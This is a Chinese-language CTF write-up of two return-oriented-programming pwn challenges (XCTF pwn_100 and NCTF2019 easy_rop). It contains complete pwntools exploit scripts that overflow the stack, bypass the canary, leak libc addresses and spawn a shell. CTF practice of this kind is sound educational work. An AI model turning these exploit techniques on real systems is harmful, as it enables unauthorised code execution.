ROP

Easy_ROP_I

ROP是一种攻击方式,通常利用程序中的一小段对寄存器的操作进行利用,ROP的进阶还有更大的利用空间,这里记录一个XCTF_Pwn中简单的ROP攻击

保护措施

1
# checksec pwn_100
2
    Arch:     amd64-64-little
3
    RELRO:    Partial RELRO
4
    Stack:    No canary found
5
    NX:       NX enabled
6
    PIE:      No PIE (0x400000)

程序关闭了栈保护和地址随机化,难度降低了很多

分析

分析可知需要输入200个字节的长度,而写入的首地址距离RBP仅仅0x40长度,典型的栈溢出,而我们要做的就是将/bin/sh传入某个地方,并调用system函数。
但是仅一个read函数,程序也没有后门函数,或者system,/bin/sh的存在,此处我们可以先动态调式一番,然后vmmap查看内存地址中的rwx权限

在0x601000地址处具有w权限,而程序又没有PIE,那么这个地址就是程序的绝对地址,我们可以将/bin/sh直接写入到此处
此外,我们还需要选择我们需要的gadget构建ROPchain,利用read函数将/bin/sh写入0x601000,而我们需要控制edi和edx以及rsi,所以我们在初始化时init处取得
pop_rdi_ret 可以通过命令 ROPgadget –binary ./程序名 –only ‘pop|ret’ 取到地址

Gadget

1
gadget1:
2
    pop     rbx
3
    pop     rbp
4
    pop     r12
5
    pop     r13
6
    pop     r14
7
    pop     r15
8
    retn
1
gadget2:
2
    mov     rdx, r13
3
    mov     rsi, r14
4
    mov     edi, r15d
5
    call    qword ptr [r12+rbx*8]
6
    add     rbx, 1
7
    cmp     rbx, rbp
8
    jnz     short loc_400740

通过两个gadget,我们可以控制read函数调用时的参数,从而指定read写入,并在执行完加上stop gadget,从而再次回到程序开始,从而泄漏函数的真实地址,则泄露出程序运行的libc版本,需要三次传值,第一次写入命令,第二次泄漏地址,第三次取前两步的结果并成功利用

利用

EXP:

1
from pwn import*
2
from LibcSearcher import LibcSearcher
3
p = remote('111.198.29.45',32858)
4
#p = process('./pwn_100')
5
elf = ELF('./pwn_100')
6
context.log_level = 'debug'
7
puts_plt = elf.plt['puts']
8
start_main_got = elf.got['__libc_start_main']
9
read_got = elf.got['read']
10
start_addr = 0x400550
11
binsh_addr = 0x00601000
12
gadget1_addr = 0x40075A
13
gadget2_addr = 0x400740
14
pop_rdi_ret  = 0x400763 
15
payload = 'Z'*0x40 + p64(0)+ p64(gadget1_addr) + p64(0) + p64(1) + p64(read_got) + p64(9)+p64(binsh_addr) +p64(0) + p64(gadget2_addr) + p64(0) * (6 + 1)+ p64(start_addr)
16
payload = payload.ljust(199,'Z')
17
p.send(payload)
18
p.sendlineafter('bye~\n','/bin/sh\x00')
19
payload2 = 'Z'*0x40 + p64(0) + p64(pop_rdi_ret) + p64(start_main_got) + p64(puts_plt) + p64(start_addr)
20
payload2 = payload2.ljust(199,'Z')
21
p.sendline(payload2)
22
p.recvline()
23
start_main_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
24
libc = LibcSearcher('__libc_start_main', start_main_addr)
25
libcbase = start_main_addr - libc.dump('__libc_start_main')
26
system_addr = libcbase + libc.dump('system')
27
#binsh_addr = libcbase + libc.dump('str_bin_sh')
28
rop = 'Z'*0x40 + p64(0)+ p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
29
rop = rop.ljust(199,'Z')
30
p.sendline(rop)
31
p.interactive()

下载:程序 EXP

Easy_ROP_II

第二题,我取的是NCTF2019里面的一个ROP题,这个题难度进阶了一下。

简单分析

1
$ checksec easy_rop
2
    Arch:     amd64-64-little
3
    RELRO:    No RELRO
4
    Stack:    Canary found
5
    NX:       NX enabled
6
    PIE:      PIE enabled

保护开启了Canary以及PIE,比第一题上升了一定的难度,那么我们先试试IDA静态分析
1.首先给数组分配了26*4个字节的空间到栈里,但是需要输入34个int整型值,并每次都会打印此值
2.可在BSS段写入一段字符串,写入的大小明显的可栈溢出
所以简单的分析后,应思考如何打印出Canary的值或者绕过Canary,不然无法栈溢出,此处有个技巧:在输入的时候,输入+,-不会修改栈中的值

思路

1.输入 + 或者 - 绕过Canary,然后打印出EBP,获得PIE值
2.利用栈迁移,令栈到达最后写入的BSS段处
3.在BSS段写入攻击代码,打印出某个函数的实际地址,并取得libc版本
4.修改某函数的Got表内保存的地址为execve(“/bin/sh”)的地址,最后调用的函数,令程序执行/bin/sh

利用

1
from pwn import*
2
from LibcSearcher import*
3
p = process('./easy_rop')
4
elf = ELF('./easy_rop')
5
context.log_level  = 'debug'
6
puts_plt = elf.plt['puts']
7
puts_got = elf.got['puts']
8
read_plt = elf.plt['read']
9
read_got = elf.got['read']
10
def leak():
11
	p.sendlineafter(': ','+')
12
	p.recvuntil(' = ')
13
	var_one = int(p.recvuntil('\n'))&0xFFFFFFFF
14
	p.sendlineafter(': ','-')
15
	p.recvuntil(' = ')
16
	var_two = (int(p.recvuntil('\n'))&0xFFFFFFFF)*0x100000000
17
	return (var_one + var_two)
18
def Set(address):
19
	p.sendlineafter(': ',str((address%0x100000000)))
20
	p.sendlineafter(': ',str(address/0x100000000))
21
22
List = []
23
for i in range(0,15):
24
	List.append(leak())
25
log.success('Canary:\t' + hex(List[13]))
26
log.success('RBP:\t'+hex(List[14]))
27
28
base = List[14] - 0xB40
29
main_addr = base + 0xA31
30
migrate_addr = base + 0x201420
31
pop_rdi_ret = base +0xBA3
32
pop_rsi_ret = base +0xBA1
33
gadget_one = base + 0xB9A
34
gadget_two = base + 0xB80
35
36
Set(base+0xB9D)
37
Set(base+0x201408)
38
39
p.recvuntil('name?\n')
40
rop = p64(pop_rdi_ret) + p64(base+0x201258) + p64(base+0x810) + p64(gadget_one) + p64(0) + p64(1) + p64(base+0x201258) + p64(9) + p64(base+0x201238) + p64(0)
41
rop += p64(gadget_two) + p64(0) * (6 + 1) + p64(base+0x810)
42
p.sendline(rop)
43
read_addr = u64(p.recvuntil('\n',drop =True).ljust(8,'\x00'))
44
log.success('Read_Addr:\t' + hex(read_addr))
45
libc = LibcSearcher('read',read_addr)
46
libcbase = read_addr - libc.dump('read')
47
exec_addr = libcbase + 0xE569F
48
p.sendline(p64(exec_addr))
49
p.interactive()

下载:程序 EXP

Contents
  1. 1. Easy_ROP_I
    1. 1.1. 保护措施
  2. 2. 分析
    1. 2.1. Gadget
    2. 2.2. 利用
  3. 3. Easy_ROP_II
    1. 3.1. 简单分析
    2. 3.2. 思路
    3. 3.3. 利用
|